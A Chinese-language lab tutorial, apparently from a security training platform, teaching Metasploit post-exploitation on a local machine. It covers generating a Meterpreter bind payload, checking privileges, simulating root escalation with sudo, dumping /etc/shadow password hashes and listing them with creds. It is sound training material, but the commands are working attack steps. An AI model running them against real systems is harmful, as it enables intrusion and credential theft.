简介
在本实验中,你将使用 Metasploit 框架执行关键的后渗透任务。后渗透阶段发生在攻击者成功入侵目标系统之后。此阶段的目标是收集信息、提升权限并提取凭据(如密码哈希),以维持访问权限或在网络中向其他系统进行横向移动。
凭据访问至关重要,因为攻破一台主机往往只是开始。密码资料和令牌是从本地入侵通往更广泛网络权限的桥梁。
你将使用 Meterpreter,这是一种先进的、可动态扩展的有效载荷(payload),它提供了一个功能强大的命令 shell。通过动手实践,你将学习如何检查当前用户权限、模拟权限提升、提取本地密码哈希,并将这些凭据存储在 Metasploit 数据库中以备后用。
这一流程是有意设计的:权限级别决定了你能获取哪些机密,而你获取的机密往往决定了你下一步能去往何处。
检查当前权限 (getuid)
在此步骤中,你将通过安装 Metasploit、生成 Meterpreter 有效载荷并建立第一个会话来配置环境。连接成功后,你将使用 getuid 命令来识别有效载荷当前运行所使用的用户账户。
了解当前的身份是基础但必不可少的一步。许多后渗透操作的成败完全取决于会话所处的账户上下文。
首先,使用为你准备的安装脚本安装 Metasploit 框架。此过程将下载并安装必要的组件。
sudo /tmp/msfinstall
Metasploit 使用 PostgreSQL 数据库来跟踪你的发现,例如提取出的凭据。在本实验环境中,msfdb init 可以自行准备本地数据库,因此你可以直接初始化它:
msfdb init
如果你看到类似 postgresql: unrecognized service 的消息,只要 msfdb init 成功完成,你可以在此环境中忽略它。
接下来,生成一个 Linux Meterpreter 有效载荷。有效载荷是运行在目标系统上的恶意代码。我们将创建一个 bind_tcp 有效载荷,它会在目标上打开一个端口并等待我们连接。
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o ~/project/payload.elf
如果这是你第一次在当前实验环境中使用 Metasploit,在 msfvenom 运行前,你可能会看到一个初始设置提示。当被问及是否要设置新数据库时,回答 yes 并等待设置完成。之后,msfvenom 将继续并保存有效载荷文件。
使生成的有效载荷具有可执行权限:
chmod +x ~/project/payload.elf
现在,在后台执行该有效载荷。这模拟了受害者在系统上运行恶意文件的场景。
./payload.elf &
在有效载荷运行并监听 4444 端口的情况下,使用 msfconsole 连接到它。以下命令会自动配置处理器并连接到你的有效载荷,直接进入 Meterpreter 会话。
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
连接建立后,你将看到 meterpreter > 提示符。要检查当前权限,请输入以下命令:
getuid
你应该会看到类似以下的输出,表明你当前是以标准 labex 用户身份运行:
Server username: uid=1000, gid=1000, euid=1000, egid=1000
提升权限 (getsystem)
在现实场景中,标准用户权限通常不足以执行转储密码哈希等关键任务。攻击者必须将权限提升至最高级别。
在 Windows 环境中,Meterpreter 提供了 getsystem 命令,它会自动尝试各种技术将权限提升至 NT AUTHORITY\SYSTEM。然而,在 Linux 系统上,权限提升通常涉及利用本地漏洞或配置错误(如宽松的 sudo 权限)来成为 root 用户。
由于我们是在 Linux 环境中练习,我们将通过使用 sudo 执行有效载荷来模拟成功的权限提升。
首先,通过输入以下命令退出当前的普通用户 Meterpreter 会话:
exit
这将关闭会话并返回到标准 Linux 终端。你应该等到回到正常的 shell 提示符(看起来类似于 labex:project/ $)后再运行下一条命令。
现在,再次执行有效载荷,但这次使用 sudo 以 root 用户身份运行。& 符号使其在后台运行。
sudo ./payload.elf &
像之前一样,使用 msfconsole 连接到这个高权限的新有效载荷:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/bind_tcp; set RHOST 127.0.0.1; set LPORT 4444; exploit"
当 meterpreter > 提示符出现后,再次检查用户 ID,确认你已成功提升权限:
getuid
输出现在应该确认你拥有系统级(root)访问权限。在此环境中,最常见的输出是:
Server username: root
某些 Meterpreter 构建版本可能会显示更详细的数字形式,例如 uid=0, gid=0, euid=0, egid=0。两种形式都表明会话正以 root 权限运行。
执行哈希转储 (Hashdump)
现在你拥有了系统级访问权限,可以执行高级后渗透任务了。其中最关键的任务之一就是提取密码哈希。
这就是权限提升转化为实际操作影响的地方。更高的权限之所以有用,是因为它们解锁了对受保护凭据存储和敏感系统状态的访问。
在 Windows 上,攻击者使用 hashdump 命令从 SAM(安全账户管理器)数据库中提取哈希。在 Linux 上,用户密码哈希存储在 /etc/shadow 文件中,该文件仅对 root 用户可读。Metasploit 提供了一个专门的后渗透模块,用于自动提取和解析这些 Linux 哈希。
在活跃的 root Meterpreter 会话中,输入以下命令执行 Linux 哈希转储模块:
run post/linux/gather/hashdump
你将看到输出,表明 Metasploit 已提取了一个或多个账户哈希,并将解密后的结果保存到了 loot 目录中。
[+] labex:$y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812:5000:5000::/home/labex:/usr/bin/zsh
[+] Unshadowed Password File: /home/labex/.msf4/loot/20260314100052_default_127.0.0.1_linux.hashes_334082.txt
这些提取出的哈希随后可以使用 John the Ripper 或 Hashcat 等工具进行离线密码破解攻击,以恢复明文密码,从而实现网络中的进一步横向移动。
在数据库中存储哈希 (creds)
使用 Metasploit 框架的一个主要优势是它能够自动管理你在渗透过程中收集的数据。由于你在步骤 1 中初始化了数据库,Metasploit 会自动存储你刚刚转储的密码哈希。
要查看存储的凭据,你需要返回到主 msfconsole 提示符。你可以通过将当前的 Meterpreter 会话置于后台来实现。
在 Meterpreter 提示符下,输入:
background
你将回到 msf6 > 提示符。现在,使用 creds 命令显示 Metasploit 收集并存储在其数据库中的所有凭据:
creds
输出将显示一个结构化表格,包含主机 IP、端口、用户名和提取出的密码哈希。
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
1 127.0.0.1 labex $y$j9T$24vG2N.x5ruy90hsyJXIe/$oFFK7PjuOmn3X2n/DoLh9YYg1Is/gEM2VAi/Qvl.812 Nonreplayable hash yescrypt
这种集中式的凭据管理在大型渗透测试中非常有用,可以让你轻松跟踪已攻破的账户,并在其他 Metasploit 模块中重复使用它们。
要退出 msfconsole 并完成实验,请输入:
exit
如果 Metasploit 警告你仍有活跃会话,请输入 exit -y 以关闭控制台并结束实验。
总结
在本实验中,你成功完成了使用 Metasploit 框架进行后渗透的关键阶段。你学习了如何建立 Meterpreter 会话、使用 getuid 验证当前权限,并理解了权限提升(模拟 getsystem 的目标)的重要性。此外,你利用 Metasploit 的后渗透模块执行了 hashdump,从目标系统提取了本地密码哈希。最后,你探索了 Metasploit 如何自动管理这些发现,并使用 creds 命令查看存储的凭据。这些技能对于评估系统的安全态势以及理解攻击者如何在网络中进行横向移动至关重要。



